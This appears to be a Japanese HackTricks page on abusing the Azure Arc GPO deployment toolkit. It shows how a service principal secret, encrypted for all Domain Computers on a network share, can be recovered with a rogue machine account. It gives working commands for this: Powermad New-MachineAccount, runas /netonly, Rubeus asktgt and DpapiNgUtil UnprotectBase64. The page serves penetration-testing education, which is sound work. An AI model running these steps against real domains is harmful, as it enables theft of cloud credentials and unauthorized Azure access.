Az - Arc vulnerable GPO Deploy Script

HackTricks のサポート

問題の特定

Azure Arc は、新しい内部サーバー(ドメインに参加したサーバー)を Azure Arc に統合するために、Group Policy Object メソッドを使用します。このために、Microsoft は、オンボーディング手順を開始するために必要な展開ツールキットを提供しています。ArcEnableServerGroupPolicy.zip ファイル内には、DeployGPO.ps1、EnableAzureArc.ps1、および AzureArcDeployment.psm1 というスクリプトが含まれています。

DeployGPO.ps1 スクリプトを実行すると、次のアクションが実行されます:

  1. ローカルドメイン内に Azure Arc サーバーオンボーディング GPO を作成します。

  2. オンボーディングプロセス用に作成された指定されたネットワーク共有に EnableAzureArc.ps1 オンボーディングスクリプトをコピーします。この共有には Windows インストーラーパッケージも含まれています。

このスクリプトを実行する際、システム管理者は ServicePrincipalIdServicePrincipalClientSecret の 2 つの主要なパラメータを提供する必要があります。さらに、ドメイン、共有をホストするサーバーの FQDN、共有名などの他のパラメータが必要です。テナント ID、リソースグループ、およびその他の必要な情報もスクリプトに提供する必要があります。

AzureArcDeploy ディレクトリ内に DPAPI-NG 暗号化を使用して暗号化されたシークレットが生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecret というファイルに保存されます。この暗号化は、DeployGPO.ps1 スクリプト内で行われ、ProtectBase64 が $descriptor と $ServicePrincipalSecret を入力として呼び出されることで実行されます。ディスクリプタには、Domain Computer と Domain Controller グループの SID が含まれており、スクリプトコメントに記載されているように、ServicePrincipalSecret は Domain Controllers および Domain Computers セキュリティグループによってのみ復号化できるようになっています。

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

攻撃手法

以下の条件を満たしています:

  1. 内部ネットワークに侵入に成功しました。

  2. Active Directory内でコンピューターアカウントを作成したり、制御を仮定する能力を持っています。

  3. AzureArcDeployディレクトリが含まれるネットワーク共有を発見しました。

AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法としては、脆弱なACLやさまざまな他の誤った構成を介してマシンアカウントを危険にさらすことがあります。

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

一度マシンアカウントを取得すると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してpass-the-ticketを行うことができます。

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

私たちのコンピューターアカウントのTGTがメモリに保存されている場合、次のスクリプトを使用してサービスプリンシパルシークレットを復号化できます。

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternatively, we can use SecretManagement.DpapiNG.

この時点で、Azureに接続するために必要な残りの情報を収集することができます。これは、encryptedServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから取得できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービス プリンシパルとして認証することができます。

参考文献

Last updated